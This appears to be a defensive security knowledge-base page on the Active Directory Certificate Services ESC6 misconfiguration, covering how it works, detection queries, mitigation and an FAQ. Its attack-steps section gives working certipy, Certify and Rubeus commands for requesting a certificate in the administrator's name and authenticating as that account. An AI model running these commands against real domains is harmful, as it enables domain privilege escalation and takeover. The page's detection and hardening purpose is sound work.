How it works
An enterprise CA runs a policy module that decides how each request is turned into a certificate. Its behavior is controlled by the EditFlags registry value under the CA's PolicyModules\CertificateAuthority_MicrosoftDefault.Policy key. One of those flags is EDITF_ATTRIBUTESUBJECTALTNAME2.
With the flag set, the CA accepts a subject alternative name (SAN) that arrives as a request attribute, a san: name and value pair sent next to the certificate request, and writes it into the issued certificate. It does this for every template the CA publishes, including templates configured to build the subject from the requester's directory account. In effect the flag turns the "enrollee supplies subject" behavior of ESC1 on for the whole CA.
Administrators set it for convenience, typically so that web server certificates can be requested with extra DNS names without editing a template. The side effect is that a user who can enroll in a plain authentication template, such as the built-in User template that Domain Users can request by default, can add san:upn=administrator@corp.example.com and receive a certificate that carries the administrator's name.
What changed with strong certificate mapping
The May 2022 updates described in KB5014754 changed the outcome. A patched CA adds a security extension (OID 1.3.6.1.4.1.311.25.2) containing the SID of the account that made the request. The request attribute lets the attacker add a SAN, but not replace this extension. A domain controller that enforces strong mapping uses the SID in the extension, so the certificate maps to the attacker's own account. When the SAN and the SID disagree the logon is refused and the KDC logs event 41.
ESC6 is therefore exploitable today in three situations:
- The security extension is missing. A template with
CT_FLAG_NO_SECURITY_EXTENSION(ESC9) or a CA that suppresses the extension for all templates (ESC16) issues certificates without the SID. The domain controller then accepts a SID from a SAN URL of the formtag:microsoft.com,2022-09-14:sid:<SID>, and the request attribute lets the attacker supply exactly that. - Mapping is weak. Domain controllers that are unpatched, or Schannel mapping that still accepts UPN-only certificates (ESC10).
- The certificate is used elsewhere. Applications that trust the CA and read the SAN, without Active Directory's mapping rules.
An attacker with the ManageCA role can set the flag themselves, which is one of the ESC7 paths.
Prerequisites
EDITF_ATTRIBUTESUBJECTALTNAME2is set on an enterprise CA and the certificate service has been restarted since.- A domain account that can enroll in a published template with an authentication EKU and no manager approval. The default
Usertemplate is enough. - For Kerberos logon against patched domain controllers: an ESC9 template on that CA, or ESC16 on the CA, and the SID of the target account.
- Network access to the CA and a domain controller.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Check the flag
With remote registry access to the CA server, the value can be read with certutil:
certutil -config "SRV01.corp.example.com\CORP-CA" -getreg "policy\EditFlags"
The decoded output lists EDITF_ATTRIBUTESUBJECTALTNAME2 when the flag is set. The key can also be read directly:
reg query \\SRV01.corp.example.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CORP-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
Certipy and Certify report it during enumeration:
certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout
Certify.exe enum-cas --filter-vulnerable --hide-admins
Certipy shows User Specified SAN : Enabled and ESC6 : Enrollee can specify SAN under the CA, with a remark that other prerequisites may be required.
2. Request a certificate with the target's name
Request any authentication template the account can enroll in, and add the target's UPN and SID. With ESC16 on the CA the built-in User template works; with ESC9, name the template that omits the security extension:
certipy req -u 'alice@corp.example.com' -p '<password>' \
-dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -template 'User' \
-upn 'administrator@corp.example.com' \
-sid 'S-1-5-21-1004336348-1177238915-682003330-500'
Certipy sends the SID as the SAN URL. Certify has a separate option for it:
Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template User --upn Administrator --sid-url S-1-5-21-1004336348-1177238915-682003330-500
3. Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10
Certipy prints the identities it finds in the certificate. A line for SAN URL SID with the target's SID and no Security Extension SID for the attacker means the certificate will map to the target.
.\Rubeus.exe asktgt /user:Administrator /certificate:<base64-or-path-to-pfx> /domain:corp.example.com /dc:DC01.corp.example.com /ptt /nowrap
If the domain controller refuses the certificate, the security extension is present with the attacker's SID. Find a template or CA setting that removes it, or use the certificate against a service with weaker mapping.
Impact
Where the conditions hold, ESC6 gives any enrolled user a logon certificate for any account, the same privilege escalation as ESC1 but across every template of the CA. Template reviews do not find it, because no template is misconfigured.
On a fully patched forest with no ESC9 or ESC16 condition, the flag alone no longer leads to a Kerberos logon as another account. It still lets users put arbitrary names into certificates signed by the enterprise CA, which matters to every application that trusts those names, and it becomes a full escalation again the moment a template or CA setting drops the security extension.
OPSEC and artifacts
- A default template. The request goes to
Useror another high-volume template, so it does not stand out by template. The CA still records the request attributes: event 4886 and event 4887 carry thesan:attribute inAttributes, next to the real requester. - No configuration change. When the flag is already set, the attacker changes nothing on the CA or in the directory. If they set it themselves through ManageCA, the CA writes event 4891 for the changed configuration entry and the service restart that makes it effective is visible as well.
- Reading the flag. The
certutil -getregandreg querychecks are remote registry connections to the CA server, from a workstation that has no reason to make them. Certipy'sfindreports the same setting during enumeration. - Failed attempts. A certificate whose SAN and SID extension disagree is refused by a domain controller in Full Enforcement, which logs KDC event 41 in the System log with the account and the certificate's SID.
- Successful logon. Event 4768 on the domain controller with a certificate pre-authentication type for the target account, from the attacker's address.
- Database row. The issued certificate and its SAN stay in the CA database, viewable with
certutil -view, until an administrator deletes the row.
Detection
- SAN request attributes. A 4886 or 4887 whose
Attributesfield containssan:is the direct signal. The SAN request attribute rules match it. On a CA that should not have the flag set, every hit is a finding; on a CA where a legacy application uses it, baseline the requesters and templates. - The flag itself. The CA configuration change rules cover event 4891 and 4892 for changes to the CA's configuration entries, including
EditFlags. Compare the value before and after. - SID mismatch on the domain controller. KDC event 41 is covered by the certificate mapping rules. It shows someone presenting a certificate whose name and SID belong to different accounts.
- Issued SAN differs from requester. As for ESC1, compare
RequesterwithSubjectAlternativeNamein 4887.
// Certificate requests that carry a SAN request attribute
WindowsEvent
| where EventID in (4886, 4887) and Provider == "Microsoft-Windows-Security-Auditing"
| extend Requester = tostring(EventData.Requester),
RequestId = tostring(EventData.RequestId),
Attrs = tostring(EventData.Attributes),
Template = tostring(EventData.CertificateTemplate)
| where Attrs matches regex @"(?i)(^|[\r\n])\s*san\s*:"
| project TimeGenerated, Computer, EventID, RequestId, Requester, Template, Attrs
| order by TimeGenerated desc
The CA ignores case, spaces and hyphens in attribute names, so match loosely. The events need the Audit Certification Services subcategory on the CA server and "Issue and manage certificate requests" in the CA's audit filter.
Mitigation
- Clear the flag. On each CA:
certutil -config "SRV01.corp.example.com\CORP-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc
net start certsvc
certutil -config "SRV01.corp.example.com\CORP-CA" -getreg "policy\EditFlags"
The -EDITF_... form clears only that bit and leaves the other flags as they are. The change takes effect when the certificate service restarts.
- Replace the use case. For certificates that need extra names, use a dedicated template that takes the subject from the request, requires CA certificate manager approval and is limited to the administrators who request such certificates.
- If the flag must stay for a legacy application, move that application to its own CA that publishes no authentication templates, and review every request with a SAN attribute.
- Remove ESC9 and ESC16 conditions so the security extension is always present, keep CAs and domain controllers patched, and keep strong certificate mapping in Full Enforcement.
- Restrict the ManageCA role, because its holders can set the flag again. See ESC7.
- Audit the CA. Enable Audit Certification Services and the CA audit filter categories for requests and for configuration changes. The Active Directory audit policy guide covers the domain controller side, and the ESC15 analysis covers a related problem, where the requester changes what a certificate from a version 1 template can be used for.
- Put AD CS in the hardening plan. The CA, its templates and its administrators are Tier 0; the Active Directory hardening guide places the AD CS review among the Tier 0 controls.
Detection rules for this attack
Log events to collect
FAQ
What does EDITF_ATTRIBUTESUBJECTALTNAME2 do?
It is a flag in the CA policy module's EditFlags registry value. When it is set, the CA copies a subject alternative name from a request attribute (san:upn=... or san:dns=...) into the issued certificate, for every template it publishes, even when the template is set to build the subject from Active Directory.
Is ESC6 still exploitable on patched systems?
Not by itself. Since the May 2022 updates the CA adds a security extension with the requester's own SID, and domain controllers that enforce strong mapping use that SID, so the spoofed name is ignored or the logon fails. ESC6 works again when the extension is missing, which is the case with an ESC9 template or an ESC16 CA, because the attacker can then put the target's SID in a SAN URL.
How is ESC6 different from ESC1?
ESC1 is a setting on one template that lets the requester supply the subject. ESC6 is a setting on the CA that has the same effect on all of its templates at once, through a request attribute. Fixing every template does not fix ESC6, and the reverse is also true.
How do I check whether my CA has the flag set?
Run certutil -config "server\CA name" -getreg policy\EditFlags and look for EDITF_ATTRIBUTESUBJECTALTNAME2 in the decoded list. Certipy find reports it as User Specified SAN: Enabled, and Certify enum-cas marks the CA as vulnerable.
References
- Steal or Forge Authentication Certificates, T1649 (MITRE ATT&CK)
- Certified Pre-Owned: Abusing Active Directory Certificate Services (SpecterOps)
- KB5014754: Certificate-based authentication changes on Windows domain controllers (Microsoft Support)
- Certipy wiki: Privilege Escalation, ESC6
- Certify wiki: Escalation Techniques, ESC6
- certutil (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.